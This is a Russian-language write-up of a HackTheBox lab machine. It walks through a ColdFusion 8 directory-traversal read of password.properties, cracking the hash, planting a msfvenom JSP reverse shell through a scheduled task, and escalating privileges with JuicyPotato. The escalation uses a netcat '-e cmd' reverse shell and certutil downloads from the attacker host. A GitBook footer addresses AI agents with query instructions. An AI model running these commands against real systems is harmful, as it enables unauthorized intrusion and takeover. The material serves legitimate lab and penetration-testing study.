> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).

# Запись HackTheBox Artic

{% hint style="warning" %}
**Навыки:**

* Эксплуатация Adobe ColdFusion 8
* Уязвимость обхода каталогов
* Взлом хэшей
* Злоупотребление запланированными задачами — создание вредоносного JSP-файла
* Злоупотребление привилегией SeImpersonate (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/136ab20563d951719f5a2ca2b287d44d15750018" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/4a822536ba0cc8d4289317dc9e446209ebcfc71d" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```

<figure><img src="/files/0ea8392a442b2b20b599dc1b33c6b4c40eb7505f" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена.

<figure><img src="/files/8f256261a4cda1255510db93708253e8806604ba" alt="" width="563"><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```

<figure><img src="/files/a646615d92046381ebbdd3910064e5b21e61ae0c" alt=""><figcaption></figcaption></figure>

## Эксплуатация Adobe ColdFusion 8 (порт 8500)

Мы наблюдаем доступную службу администрирования на порту 8500, для подключения к Adobe ColdFusion требуется имя пользователя и пароль.

<figure><img src="/files/75894eea4c289a997ab25fe82603a8c32b4304b0" alt=""><figcaption></figcaption></figure>

Поиск соответствующих уязвимостей в `searchsploit`, мы находим рабочий скрипт для уязвимости обхода каталогов.

<figure><img src="/files/ffb55bedf98ea778461d08c86f4e74e3fd88a969" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

Этот скрипт выявляет уязвимость LFI для доступа к списку паролей:

<figure><img src="/files/7402f76cb639fa0836aa1f2c862ca22cefd51198" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="/files/a0217b5cce8ea9ad6ebc7f3973fc7febb3ffa5f1" alt=""><figcaption></figcaption></figure>

Файл содержит следующее значение пароля:

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="/files/c3d91f0f470bfc4e475b6d4ae8edd2cd5724640b" alt=""><figcaption></figcaption></figure>

### Взлом пароля

{% embed url="<https://crackstation.net/>" %}

Используя CrackStation, мы расшифровываем этот хеш, и пароль: `happyday`. Теперь мы можем успешно подключиться.

<figure><img src="/files/690957f4c41340433f80a08ca88a97e4fb7e07fb" alt=""><figcaption></figcaption></figure>

### Создание вредоносной запланированной задачи

<figure><img src="/files/50c0c81b0bccd74b0828aa9767856bea1f8bc14b" alt=""><figcaption></figcaption></figure>

В разделе запланированных задач мы создадим новую задачу, чтобы сохранить вредоносный файл в `C:/ColdFusion8/wwwroot/CFIDE` каталоге, к которому у нас есть права на чтение/запись.

<figure><img src="/files/31921aed26751efa322415bc500855556ef404a8" alt="" width="563"><figcaption></figcaption></figure>

**Создание JSP-файла:** Поскольку сервер может интерпретировать JSP-файлы, мы сгенерируем JSP-оболочку с помощью `msfvenom`:

<figure><img src="/files/8b724c48a3b49ad688ee91553bc2a40293e72685" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="/files/bf46c188e2267f4228753dec748f99ea4a434d42" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**Добавление новой задачи:** Мы настраиваем запланированную задачу на запуск этого вредоносного файла.

<figure><img src="/files/54f8c331fa1f24cf0bb3dc27b24fa277c5c24abf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/45cba317cf87a0415501760adf91600dc9f3adf8" alt="" width="563"><figcaption></figcaption></figure>

/*/* HTTP-сервер для передачи файла:/*/* Чтобы передать JSP-файл, мы запускаем HTTP-сервер на нашей машине:

```bash
python3 -m http.server 80
```

<figure><img src="/files/7b4fddcb7fc35b733f37a42a1c301af0bab3d394" alt=""><figcaption></figcaption></figure>

**Прослушивание и выполнение:** Мы слушаем порт 443, чтобы получить reverse shell, а затем выполняем запланированную задачу в `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="/files/9ea83f9c7f17065280e7ebc43dc1e6d3c1f6ac3a" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/66014e255676fcaf81b645e40efc2044727cabce" alt="" width="563"><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/d592dd4a0a6096029c12fa1eb7af32676d411c63" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий

### Злоупотребление SeImpersonatePrivilege:

Мы обнаружили, что у пользователя есть `SeImpersonatePrivilege` привилегия, что делает его уязвимым для некоторых техник повышения привилегий. Нижеуказанная команда подтверждает наличие этой привилегии:

```bash
whoami /priv
```

<figure><img src="/files/df0e07c73288bcf58e13784abcf3e64939cf3302" alt=""><figcaption></figcaption></figure>

Чтобы воспользоваться этой уязвимостью, мы используем **JuicyPotato**— известный инструмент для злоупотребления этой привилегией в среде Windows.

**Скачать необходимые инструменты**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**Запуск HTTP-сервера** на нашей атакующей машине для раздачи файлов:

```bash
python3 -m http.server 8080
```

**Передача файлов на целевую машину** используя `certutil`:

```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```

<figure><img src="/files/94f332ae6308ef129ed3418d4c89ae0ff434ed3b" alt=""><figcaption></figcaption></figure>

**Запуск JuicyPotato для повышения привилегий**

Теперь мы запустим JuicyPotato, чтобы получить привилегированную сессию. Следующая команда запускает JuicyPotato, который запускает `cmd.exe` с высокими привилегиями и устанавливает соединение с нашей атакующей машиной через Netcat:

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```

**Вход в высокую сессию**

Чтобы перехватить соединение, мы слушаем порт 1234:

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/56cce617f4ed032be45d60de312935236ead252f" alt="" width="563"><figcaption></figcaption></figure>

### Флаг root :)

<figure><img src="/files/8276e85471c08e9c044be6614ffacc81cd47dbed" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/4d089acf8c1bf0c39352f39a9c89707e6f7ca5fc" alt="" width="525"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
